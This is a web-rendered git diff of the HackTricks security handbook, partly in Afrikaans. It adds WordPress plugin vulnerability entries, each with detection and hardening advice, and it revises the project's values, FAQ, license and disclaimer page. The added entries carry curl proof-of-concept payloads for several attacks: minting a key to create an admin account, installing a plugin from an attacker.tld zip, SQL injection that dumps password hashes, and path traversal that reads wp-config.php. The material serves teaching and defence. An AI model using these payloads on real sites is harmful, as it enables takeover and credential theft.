## Unauthenticated privilege escalation via REST token/key minting on predictable identity (OttoKit/SureTriggers ≤ 1.0.82)
|
||||
|
||||
Some plugins expose REST endpoints that mint reusable “connection keys” or tokens without verifying the caller’s capabilities. If the route authenticates only on a guessable attribute (e.g., username) and does not bind the key to a user/session with capability checks, any unauthenticated attacker can mint a key and invoke privileged actions (admin account creation, plugin actions → RCE).
|
||||
|
||||
- Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection
|
||||
- Flaw: accepts a username, issues a connection key without current_user_can() or a strict permission_callback
|
||||
- Impact: full takeover by chaining the minted key to internal privileged actions
|
||||
|
||||
PoC – mint a connection key and use it
|
||||
```bash
|
||||
# 1) Obtain key (unauthenticated). Exact payload varies per plugin
|
||||
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/connection/create-wp-connection" \
|
||||
-H 'Content-Type: application/json' \
|
||||
--data '{"username":"admin"}'
|
||||
# → {"key":"<conn_key>", ...}
|
||||
|
||||
# 2) Call privileged plugin action using the minted key (namespace/route vary per plugin)
|
||||
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \
|
||||
-H 'Content-Type: application/json' \
|
||||
-H 'X-Connection-Key: <conn_key>' \
|
||||
--data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}'
|
||||
```
|
||||
Hoekom dit uitbuitbaar is
|
||||
- Sensitiewe REST-roete beskerm slegs deur 'n lae-entropie identiteitsbewys (username) of ontbrekende permission_callback
|
||||
- Geen capability afdwinging; minted key word aanvaar as 'n universele omseiling
|
||||
|
||||
Opsporingskontrolelys
|
||||
- Grep plugin code for register_rest_route(..., [ 'permission_callback' => '__return_true' ])
|
||||
- Enige roete wat tokens/keys uitreik gebaseer op request-supplied identity (username/email) sonder om dit aan 'n authenticated user of capability te koppel
|
||||
- Kyk vir daaropvolgende roetes wat die minted token/key aanvaar sonder server-side capability checks
|
||||
|
||||
Verharding
|
||||
- Vir enige bevoorregte REST-roete: vereis permission_callback wat current_user_can() afdwing vir die vereiste capability
|
||||
- Moet nie long-lived keys uit client-supplied identity mint nie; indien nodig, gee short-lived, user-bound tokens ná authentication en herkontroleer capabilities tydens gebruik
|
||||
- Valideer die caller se user-konteks (wp_set_current_user is alleenlik nie voldoende nie) en verwerp requests waar !is_user_logged_in() || !current_user_can(<cap>)
|
||||
|
||||
---
|
||||
|
||||
## Nonce gate misuse → nie-geauthentiseerde arbitrêre plugin installasie (FunnelKit Automations ≤ 3.5.3)
|
||||
|
||||
Nonces voorkom CSRF, nie magtiging nie. As kode 'n nonce pas as 'n groen lig beskou en dan capability checks vir bevoorregte operasies oorslaan (bv. install/activate plugins), kan nie-geauthentiseerde aanvallers 'n swak nonce-vereiste voldoen en RCE bereik deur 'n backdoored of vulnerable plugin te installeer.
|
||||
|
||||
- Vulnerable path: plugin/install_and_activate
|
||||
- Fout: swak nonce hash check; geen current_user_can('install_plugins'|'activate_plugins') een maal nonce “passes” nie
|
||||
- Impak: volledige kompromittering via arbitrêre plugin install/activation
|
||||
|
||||
PoC (vorm hang af van plugin; slegs illustratief)
|
||||
```bash
|
||||
curl -i -s -X POST https://victim.tld/wp-json/<fk-namespace>/plugin/install_and_activate \
|
||||
-H 'Content-Type: application/json' \
|
||||
--data '{"_nonce":"<weak-pass>","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}'
|
||||
```
|
||||
Opsporingskontrolelys
|
||||
- REST/AJAX handlers wat plugins/themes wysig met slegs wp_verify_nonce()/check_admin_referer() en geen capability check nie
|
||||
- Enige code path wat $skip_caps = true stel ná nonce-validasie
|
||||
|
||||
Verharding
|
||||
- Hanteer nonces altyd slegs as CSRF tokens; dwing capability checks af ongeag nonce-status
|
||||
- Vereis current_user_can('install_plugins') en current_user_can('activate_plugins') voordat installer code bereik word
|
||||
- Weier ongeauthentiseerde toegang; vermy om nopriv AJAX actions bloot te stel vir geprivilegieerde flows
|
||||
|
||||
---
|
||||
|
||||
## Onauthentiseerde SQLi via die s (search) parameter in depicter-* actions (Depicter Slider ≤ 3.6.1)
|
||||
|
||||
Verskeie depicter-* actions het die s (search) parameter verbruik en dit in SQL queries gekonkatenereer sonder parameterisering.
|
||||
|
||||
- Parameter: s (search)
|
||||
- Kwetsbaarheid: direkte stringkonkatenering in WHERE/LIKE clauses; geen prepared statements/sanitization
|
||||
- Impak: database exfiltration (users, hashes), lateral movement
|
||||
|
||||
PoC
|
||||
```bash
|
||||
# Replace action with the affected depicter-* handler on the target
|
||||
curl -G "https://victim.tld/wp-admin/admin-ajax.php" \
|
||||
--data-urlencode 'action=depicter_search' \
|
||||
--data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -"
|
||||
```
|
||||
Opsporingskontrolelys
|
||||
- Grep vir depicter-* aksiehandelaars en direkte gebruik van $_GET['s'] of $_POST['s'] in SQL
|
||||
- Hersien pasgemaakte queries wat aan $wpdb->get_results()/query() deurgegee word en s saamvoeg
|
||||
|
||||
Verharding
|
||||
- Gebruik altyd $wpdb->prepare() of wpdb placeholders; weier onverwagte metakarakters aan die bedienerkant
|
||||
- Voeg 'n streng allowlist vir s by en normaliseer na die verwagte charset/lengte
|
||||
|
||||
---
|
||||
|
||||
## Ongeauthentiseerde Local File Inclusion via nie-gevalideerde template/file path (Kubio AI Page Builder ≤ 2.5.1)
|
||||
|
||||
Die aanvaar van aanvaller-beheerde paaie in 'n template-parameter sonder normalisering/beperking maak dit moontlik om arbitrêre plaaslike lêers te lees, en soms kode-uitvoering as inkludeerbare PHP/log-lêers in die runtime ingesleep word.
|
||||
|
||||
- Parameter: __kubio-site-edit-iframe-classic-template
|
||||
- Flaw: geen normalisering/allowlisting nie; traversal toegelaat
|
||||
- Impak: geheimonthulling (wp-config.php), potensiële RCE in spesifieke omgewings (log poisoning, inkludeerbare PHP)
|
||||
|
||||
PoC – lees wp-config.php
|
||||
```bash
|
||||
curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php"
|
||||
```
|
||||
Opsporingskontrolelys
|
||||
- Enige handler wat versoekpaaie in include()/require()/read sinks aanmekaar koppel sonder realpath() containment
|
||||
- Soek na traversal-patrone (../) wat buite die beoogde templates directory bereik
|
||||
|
||||
Verharding
|
||||
- Dwing toegelate templates af; los op met realpath() en vereis str_starts_with(realpath(file), realpath(allowed_base))
|
||||
- Normaliseer insette; verwerp traversal-sekwense en absolute paaie; gebruik sanitize_file_name() slegs vir lêernamme (nie volledige paaie nie)
|
||||
|
||||
|
||||
## Verwysings
|
||||
|
||||
@ -712,5 +854,11 @@ Die bediener reageer met die inhoud van `wp-config.php`, leaking DB credentials
|
||||
- [Hackers exploiting critical WordPress WooCommerce Payments bug](https://www.bleepingcomputer.com/news/security/hackers-exploiting-critical-wordpress-woocommerce-payments-bug/)
|
||||
- [Unpatched Privilege Escalation in Service Finder Bookings Plugin](https://patchstack.com/articles/unpatched-privilege-escalation-in-service-finder-bookings-plugin/)
|
||||
- [Service Finder Bookings privilege escalation – Patchstack DB entry](https://patchstack.com/database/wordpress/plugin/sf-booking/vulnerability/wordpress-service-finder-booking-6-0-privilege-escalation-vulnerability)
|
||||
- [Unauthenticated Broken Authentication Vulnerability in WordPress Jobmonster Theme](https://patchstack.com/articles/unauthenticated-broken-authentication-vulnerability-in-wordpress-jobmonster-theme/)
|
||||
- [Q3 2025’s most exploited WordPress vulnerabilities and how RapidMitigate blocked them](https://patchstack.com/articles/q3-2025s-most-exploited-wordpress-vulnerabilities-and-how-patchstacks-rapidmitigate-blocked-them/)
|
||||
- [OttoKit (SureTriggers) ≤ 1.0.82 – Privilege Escalation (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/suretriggers/vulnerability/wordpress-suretriggers-1-0-82-privilege-escalation-vulnerability)
|
||||
- [FunnelKit Automations ≤ 3.5.3 – Unauthenticated arbitrary plugin installation (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/wp-marketing-automations/vulnerability/wordpress-recover-woocommerce-cart-abandonment-newsletter-email-marketing-marketing-automation-by-funnelkit-plugin-3-5-3-missing-authorization-to-unauthenticated-arbitrary-plugin-installation-vulnerability)
|
||||
- [Depicter Slider ≤ 3.6.1 – Unauthenticated SQLi via s parameter (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/depicter/vulnerability/wordpress-depicter-slider-plugin-3-6-1-unauthenticated-sql-injection-via-s-parameter-vulnerability)
|
||||
- [Kubio AI Page Builder ≤ 2.5.1 – Unauthenticated LFI (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/kubio/vulnerability/wordpress-kubio-ai-page-builder-plugin-2-5-1-unauthenticated-local-file-inclusion-vulnerability)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,4 +1,4 @@
|
||||
# HackTricks Waardes & Vrae
|
||||
# HackTricks Waardes & FAQ
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -7,25 +7,25 @@
|
||||
> [!TIP]
|
||||
> Dit is die **waardes van die HackTricks-projek**:
|
||||
>
|
||||
> - Gee **VRYE** toegang tot **EDUKASIONELE hacking** hulpbronne aan die **HELE** Internet.
|
||||
> - Hacking gaan oor leer, en leer moet so veel as moontlik gratis wees.
|
||||
> - Gee **FREE** toegang tot **EDUCATIONAL hacking** hulpbronne aan **AL** die Internet.
|
||||
> - Hacking gaan oor leer, en leer moet so vry as moontlik wees.
|
||||
> - Die doel van hierdie boek is om te dien as 'n omvattende **opvoedkundige hulpbron**.
|
||||
> - **STORE** fantastiese **hacking** tegnieke wat die gemeenskap publiseer en die **ORIGINELE** **AUTEURS** alle **krediete** gee.
|
||||
> - **Ons wil nie die erkenning van ander mense hê nie**, ons wil net cool truuks vir almal stoor.
|
||||
> - **STORE** fantastiese **hacking** tegnieke wat die gemeenskap publiseer en die **OORSPRONGLIKE** **AUTEURS** al die **KREDIETE** gee.
|
||||
> - **Ons wil nie die krediet van ander mense hê nie**, ons wil net interessante truuks vir almal stoor.
|
||||
> - Ons skryf ook **ons eie navorsing** in HackTricks.
|
||||
> - In verskeie gevalle sal ons net **in HackTricks 'n samevatting van die belangrike gedeeltes** van die tegniek skryf en die **leser aanmoedig om die oorspronklike pos te besoek** vir meer besonderhede.
|
||||
> - **ORGANIZE** al die hacking tegnieke in die boek sodat dit **MEER TOEGANKLIK** is
|
||||
> - Die HackTricks-span het duisende ure vrygewig gegee net **om die inhoud te organiseer** sodat mense **vinnigder kan leer**
|
||||
> - In verskeie gevalle sal ons net **in HackTricks 'n samevatting van die belangrikste dele** van die tegniek skryf en die **leser aanmoedig om die oorspronklike pos te besoek** vir meer besonderhede.
|
||||
> - **ORGANISEER** al die hacking-tegnieke in die boek sodat dit **MEER TOEGANKLIK** is
|
||||
> - Die HackTricks-span het duisende ure gratis bestee **slegs om die inhoud te organiseer** sodat mense **vinnig kan leer**
|
||||
|
||||
<figure><img src="../images/hack tricks gif.gif" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
## HackTricks Vrae
|
||||
## HackTricks FAQ
|
||||
|
||||
> [!TIP]
|
||||
>
|
||||
> - **Baie dankie vir hierdie hulpbronne, hoe kan ek julle bedank?**
|
||||
|
||||
Jy kan HackTricks-spanne openlik bedank vir die samevoeging van al hierdie hulpbronne deur 'n tweet te plaas waarin [**@hacktricks_live**](https://twitter.com/hacktricks_live) genoem word.\
|
||||
Jy kan publiek die HackTricks-span bedank deur 'n tweet te maak en [**@hacktricks_live**](https://twitter.com/hacktricks_live) te noem.\
|
||||
As jy besonder dankbaar is, kan jy ook [**die projek hier borg**](https://github.com/sponsors/carlospolop).\
|
||||
En moenie vergeet om **'n ster aan die Github-projekte te gee nie!** (Vind die skakels hieronder).
|
||||
|
||||
@ -33,7 +33,7 @@ En moenie vergeet om **'n ster aan die Github-projekte te gee nie!** (Vind die s
|
||||
>
|
||||
> - **Hoe kan ek bydra tot die projek?**
|
||||
|
||||
Jy kan **nuwe wenke en truuks met die gemeenskap deel of foute regmaak** wat jy in die boeke vind deur 'n **Pull Request** aan die onderskeie Github-bladsye te stuur:
|
||||
Jy kan **nuwe tips en truuks met die gemeenskap deel of foutjies regmaak** wat jy in die boeke vind deur 'n **Pull Request** na die toepaslike Github-bladsye te stuur:
|
||||
|
||||
- [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks)
|
||||
- [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)
|
||||
@ -42,16 +42,16 @@ Moenie vergeet om **'n ster aan die Github-projekte te gee nie!**
|
||||
|
||||
> [!TIP]
|
||||
>
|
||||
> - **Kan ek inhoud van HackTricks kopieer en dit op my blog plaas?**
|
||||
> - **Kan ek inhoud van HackTricks kopieer en in my blog plaas?**
|
||||
|
||||
Ja, jy kan, maar **moet nie vergeet om die spesifieke skakel(s) te noem** waarvandaan die inhoud geneem is nie.
|
||||
Ja, jy mag, maar **moenie vergeet om die spesifieke skakel(s) te noem** waaruit die inhoud gehaal is nie.
|
||||
|
||||
> [!TIP]
|
||||
>
|
||||
> - **Hoe kan ek na 'n HackTricks-bladsy verwys?**
|
||||
> - **Hoe kan ek na 'n bladsy van HackTricks verwys?**
|
||||
|
||||
Solang die skakel **van** die bladsy(e) waarvandaan jy die inligting geneem het verskyn, is dit genoeg.\
|
||||
As jy 'n bibtex nodig het kan jy iets soos die volgende gebruik:
|
||||
Solank die skakel **van** die bladsy(e) waaruit jy die inligting geneem het verskyn, is dit genoeg.\
|
||||
As jy 'n bibtex benodig, kan jy iets soos die volgende gebruik:
|
||||
```latex
|
||||
@misc{hacktricks-bibtexing,
|
||||
author = {"HackTricks Team" or the Authors name of the specific page/trick},
|
||||
@ -64,80 +64,80 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
|
||||
>
|
||||
> - **Kan ek alle HackTricks in my blog kopieer?**
|
||||
|
||||
**Ek sou liewer nie**. Dit gaan **niemand bevoordeel nie** aangesien al die **inhoud reeds publieklik beskikbaar** is in die amptelike HackTricks-boeke, gratis.
|
||||
**Ek sou liewer nie**. Dit sal **niemand bevoordeel nie**, aangesien al die **inhoud reeds gratis in die amptelike HackTricks-boeke openbaar beskikbaar is**.
|
||||
|
||||
As jy vrees dat dit sal verdwyn, fork dit net op Github of laai dit af — soos ek gesê het, dit is reeds gratis.
|
||||
As jy vrees dit sal verdwyn, fork dit net op Github of laai dit af — soos ek gesê het, dit is reeds gratis.
|
||||
|
||||
> [!WARNING]
|
||||
>
|
||||
> - **Waarom het julle sponsors? Is HackTricks-boeke vir kommersiële doeleindes?**
|
||||
|
||||
Die eerste **HackTricks** **waarde** is om **GRATIS** hacking-onderrigbronne aan **AL** die wêreld te bied. Die HackTricks-span het **duisende ure toegewyd** om hierdie inhoud te verskaf, weer, **GRATIS**.
|
||||
Die eerste HackTricks **waarde** is om **GRATIS** hacking-opvoedkundige hulpbronne aan **ALMAL** die wêreld te bied. Die HackTricks-span het **duisende ure toegewy** om hierdie inhoud aan te bied, weer, vir **GRATIS**.
|
||||
|
||||
As jy dink HackTricks-boeke is gemaak vir **kommersiële doeleindes**, is jy **VOLLEDIG VERKEERD**.
|
||||
As jy dink HackTricks-boeke is gemaak vir **kommersiёle doeleindes**, jy is **VOLLEDIG VERKEERD**.
|
||||
|
||||
Ons het sponsors omdat, selfs al is al die inhoud GRATIS, ons die gemeenskap die moontlikheid wil gee om ons werk te waardeer as hulle wil. Daarom bied ons mense die opsie om aan HackTricks te skenk via [**Github sponsors**](https://github.com/sponsors/carlospolop), en relevante kuberveiligheid-maatskappye om HackTricks te borg en om advertensies in die boek te hê — die advertensies word altyd op maniere geplaas wat hulle sigbaar maak maar nie die leerproses ontwrig as iemand op die inhoud fokus nie.
|
||||
Ons het sponsors omdat, selfs al is al die inhoud GRATIS, ons die gemeenskap die moontlikheid wil bied om ons werk te waardeer indien hulle wil. Daarom bied ons mense die opsie om aan HackTricks te skenk via [**Github sponsors**](https://github.com/sponsors/carlospolop), en om **relevante kuberveiligheidsmaatskappye** HackTricks te laat borg en om **advertensies** in die boek te hê, met die **advertensies** altyd geplaas op plekke waar dit **sigbaar** is maar nie die leerproses steur as iemand op die inhoud fokus nie.
|
||||
|
||||
Jy sal nie HackTricks gevul met irriterende advertensies vind soos ander blogs met baie minder inhoud as HackTricks nie, want HackTricks is nie vir kommersiële doeleindes geskep nie.
|
||||
Jy sal nie HackTricks gevul vind met irriterende advertensies soos ander blogs met baie minder inhoud as HackTricks nie, omdat HackTricks nie vir kommersiële doeleindes gemaak is nie.
|
||||
|
||||
> [!CAUTION]
|
||||
>
|
||||
> - **Wat moet ek doen as 'n HackTricks-bladsy gebaseer is op my blogpos maar dit nie verwys word nie?**
|
||||
> - **Wat moet ek doen as 'n HackTricks-blad gebaseer is op my blogpos maar dit nie verwys is nie?**
|
||||
|
||||
**Ons is baie jammer. Dit moes nie gebeur het nie.** Kontak ons asseblief via Github issues, Twitter, Discord... die skakel van die HackTricks-bladsy met die inhoud en die skakel van jou blog en **ons sal dit nagaan en dit so spoedig moontlik byvoeg**.
|
||||
**Ons is baie jammer. Dit sou nie moes gebeur nie**. Laat weet ons asseblief via Github issues, Twitter, Discord... die skakel van die HackTricks-blad met die inhoud en die skakel na jou blog en **ons sal dit nagaan en dit so gou as moontlik byvoeg**.
|
||||
|
||||
> [!CAUTION]
|
||||
>
|
||||
> - **Wat moet ek doen as daar inhoud van my blog in HackTricks is en ek dit nie daar wil hê nie?**
|
||||
|
||||
Neem asseblief kennis dat skakels na jou bladsy in HackTricks:
|
||||
Let wel dat om skakels na jou blad in HackTricks te hê:
|
||||
|
||||
- Verbeter jou **SEO**
|
||||
- Die inhoud word **in meer as 15 tale vertaal**, wat dit moontlik maak dat meer mense toegang tot hierdie inhoud kry
|
||||
- **HackTricks moedig** mense aan om **jou bladsy te besoek** (veral mense het aan ons genoem dat sedert 'n bladsy van hulle in HackTricks verskyn het, hulle meer besoeke ontvang)
|
||||
- Die inhoud word **in meer as 15 tale vertaal**, wat dit moontlik maak vir meer mense om toegang tot hierdie inhoud te kry
|
||||
- **HackTricks moedig** mense aan om **jou blad te besoek** (verskeie mense het vir ons gesê dat sedert 'n blad van hulle in HackTricks verskyn het, hulle meer besoeke ontvang)
|
||||
|
||||
Indien jy steeds wil hê dat die inhoud van jou blog uit HackTricks verwyder word, laat weet ons gerus en ons sal beslis **elke skakel na jou blog verwyder**, en enige inhoud wat daarop gebaseer is.
|
||||
Egter, as jy steeds wil hê die inhoud van jou blog moet uit HackTricks verwyder word, laat weet ons net en ons sal beslis **elke skakel na jou blog verwyder**, en enige inhoud wat daarop gebaseer is.
|
||||
|
||||
> [!CAUTION]
|
||||
>
|
||||
> - **Wat moet ek doen as ek gekopieërde inhoud in HackTricks vind?**
|
||||
> - **Wat moet ek doen as ek gekopieër- en geplakte inhoud in HackTricks vind?**
|
||||
|
||||
Ons gee altyd die oorspronklike outeurs alle krediet. As jy 'n bladsy vind met gekopieërde inhoud sonder 'n verwysing na die oorspronklike bron, laat weet ons en ons sal óf **dit verwyder**, óf **die skakel voor die teks byvoeg**, of **dit herskryf en die skakel byvoeg**.
|
||||
Ons gee altyd **die oorspronklike outeurs alle eer**. As jy 'n blad vind met gekopieër- en geplakte inhoud sonder die oorspronklike bronverwysing, laat weet ons en ons sal óf **dit verwyder**, óf **die skakel voor die teks voeg**, of **dit herskryf en die skakel byvoeg**.
|
||||
|
||||
## LISENSIE
|
||||
|
||||
Auteursreg © Alle regte voorbehou tensy anders vermeld.
|
||||
Kopiereg © Alle regte voorbehou tensy anders gespesifiseer.
|
||||
|
||||
#### Lisensie Opsomming:
|
||||
|
||||
- Toekenning: Jy is vry om:
|
||||
- Toeskrywing: Jy is vry om:
|
||||
- Deel — kopieer en herverdeel die materiaal in enige medium of formaat.
|
||||
- Aanpas — remiks, transformeer, en bou voort op die materiaal.
|
||||
|
||||
#### Bykomende Voorwaardes:
|
||||
#### Addisionele Bepalings:
|
||||
|
||||
- Inhoud van derde partye: Sommige dele van hierdie blog/boek mag inhoud van ander bronne insluit, soos uittreksels van ander blogs of publikasies. Die gebruik van sulke inhoud geskied onder die beginsels van billike gebruik of met uitdruklike toestemming van die betrokke kopiereghouers. Raadpleeg asseblief die oorspronklike bronne vir spesifieke lisensie-inligting rakende inhoud van derde partye.
|
||||
- Auteurskap: Die oorspronklike inhoud geskep deur HackTricks is onderhewig aan die bepalings van hierdie lisensie. Jy word aangemoedig om hierdie werk aan die outeur toe te ken wanneer jy dit deel of aanpas.
|
||||
- Derdeparty-inhoud: Sommige gedeeltes van hierdie blog/boek mag inhoud van ander bronne insluit, soos uittreksels van ander blogs of publikasies. Die gebruik van sodanige inhoud word gedoen onder die beginsels van billike gebruik of met uitdruklike toestemming van die toepaslike kopiereghouers. Raadpleeg asseblief die oorspronklike bronne vir spesifieke lisensie-inligting rakende derdeparty-inhoud.
|
||||
- Outeurskap: Die oorspronklike inhoud wat deur HackTricks geskryf is, val onder die bepalings van hierdie lisensie. Jy word aangemoedig om hierdie werk aan die outeur toe te skryf wanneer jy dit deel of aanpas.
|
||||
|
||||
#### Uitsonderings:
|
||||
|
||||
- Kommersiële Gebruik: Vir navrae oor kommersiële gebruik van hierdie inhoud, kontak my asseblief.
|
||||
- Kommersiële gebruik: Vir navrae oor kommersiële gebruik van hierdie inhoud, kontak my asseblief.
|
||||
|
||||
Hierdie lisensie verleen geen handelsmerk- of handelsnaamregte in verband met die inhoud nie. Alle handelsmerke en handelsmerkaanduidings wat in hierdie blog/boek verskyn, is die eiendom van hul onderskeie eienaars.
|
||||
Hierdie lisensie verleen geen handelsmerk- of handelsnaamregte in verband met die inhoud nie. Alle handelsmerke en handelsname wat in hierdie blog/boek voorkom, is die eiendom van hul onderskeie eienaars.
|
||||
|
||||
**Deur HackTricks te besoek of te gebruik, stem jy in om die bepalings van hierdie lisensie na te kom. As jy nie met hierdie bepalings saamstem nie, besoek asseblief nie hierdie webwerf nie.**
|
||||
**Deur toegang te verkry tot of HackTricks te gebruik, stem jy daartoe in om die bepalings van hierdie lisensie na te kom. As jy nie met hierdie bepalings saamstem nie, moenie hierdie webwerf besoek nie.**
|
||||
|
||||
## **Vrywaring**
|
||||
|
||||
> [!CAUTION]
|
||||
> Hierdie boek, 'HackTricks', is slegs vir opvoedkundige en informerende doeleindes bedoel. Die inhoud in hierdie boek word verskaf op 'n "soos dit is" basis, en die outeurs en uitgewers maak geen stellings of waarborge van enige aard, uitdruklik of geïmpliseer, oor die volledigheid, akkuraatheid, betroubaarheid, geskiktheid of beskikbaarheid van die inligting, produkte, dienste of verwante grafika in hierdie boek nie. Enige vertroue wat jy in sodanige inligting plaas, is dus streng op jou eie risiko.
|
||||
> Hierdie boek, 'HackTricks,' is slegs bedoel vir opvoedkundige en inligtingsdoeleindes. Die inhoud binne hierdie boek word aangebied op 'soos dit is' grondslag, en die outeurs en uitgewers gee geen voorstellings of waarborge van enige aard nie, uitdruklik of geïmpliseer, oor die volledigheid, akkuraatheid, betroubaarheid, geskiktheid, of beskikbaarheid van die inligting, produkte, dienste, of verwante grafika in hierdie boek. Enige vertroue wat jy in sodanige inligting plaas, is dus streng op jou eie risiko.
|
||||
>
|
||||
> Die outeurs en uitgewers sal in geen geval aanspreeklik wees vir enige verlies of skade nie, insluitend, maar nie beperk tot, indirekte of gevolglike verlies of skade, of enige verlies of skade wat voortspruit uit die verlies van data of winste wat voortspruit uit, of in verband met, die gebruik van hierdie boek nie.
|
||||
> Die outeurs en uitgewers sal in geen geval aanspreeklik wees vir enige verlies of skade nie, insluitend, sonder beperking, indirekte of gevolglike verlies of skade, of enige verlies of skade wat voortspruit uit data- of winsverliese wat uit die gebruik van hierdie boek voortspruit of daarmee in verband staan.
|
||||
>
|
||||
> Verder word die tegnieke en wenke in hierdie boek beskryf vir opvoedkundige en informerende doeleindes slegs, en behoort nie gebruik te word vir enige onwettige of kwaadwillige aktiwiteite nie. Die outeurs en uitgewers keur geen onwettige of onetiese aktiwiteite goed of ondersteun dit nie, en enige gebruik van die inligting in hierdie boek is op die gebruiker se eie risiko en diskresie.
|
||||
> Verder word die tegnieke en wenke in hierdie boek beskryf slegs vir opvoedkundige en inligtingsdoeleindes aangebied, en behoort nie gebruik te word vir onwettige of kwaaddadige aktiwiteite nie. Die outeurs en uitgewers keur geen onwettige of onetiese aktiwiteite goed en ondersteun dit nie, en enige gebruik van die inligting binne hierdie boek is op die gebruiker se eie risiko en diskresie.
|
||||
>
|
||||
> Die gebruiker is uitsluitlik verantwoordelik vir enige aksies wat geneem word gebaseer op die inligting in hierdie boek, en behoort altyd professionele advies en bystand te soek wanneer hulle poog om enige van die tegnieke of wenke hierin te implementeer.
|
||||
> Die gebruiker is uitsluitlik verantwoordelik vir enige optrede wat gebaseer is op die inligting in hierdie boek, en moet altyd professionele advies en hulp soek wanneer hy probeer om enige van die tegnieke of wenke hier beskryf te implementeer.
|
||||
>
|
||||
> Deur hierdie boek te gebruik, stem die gebruiker in om die outeurs en uitgewers van enige en alle aanspreeklikheid en verantwoordelikheid vry te stel vir enige skade, verliese of nadeel wat mag voortspruit uit die gebruik van hierdie boek of enige van die inligting daarin.
|
||||
> Deur hierdie boek te gebruik, stem die gebruiker daartoe in om die outeurs en uitgewers vry te stel van enige en alle aanspreeklikheid en verantwoordelikheid vir enige skade, verliese of nadele wat mag voortspruit uit die gebruik van hierdie boek of enige van die inligting daarin vervat.
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user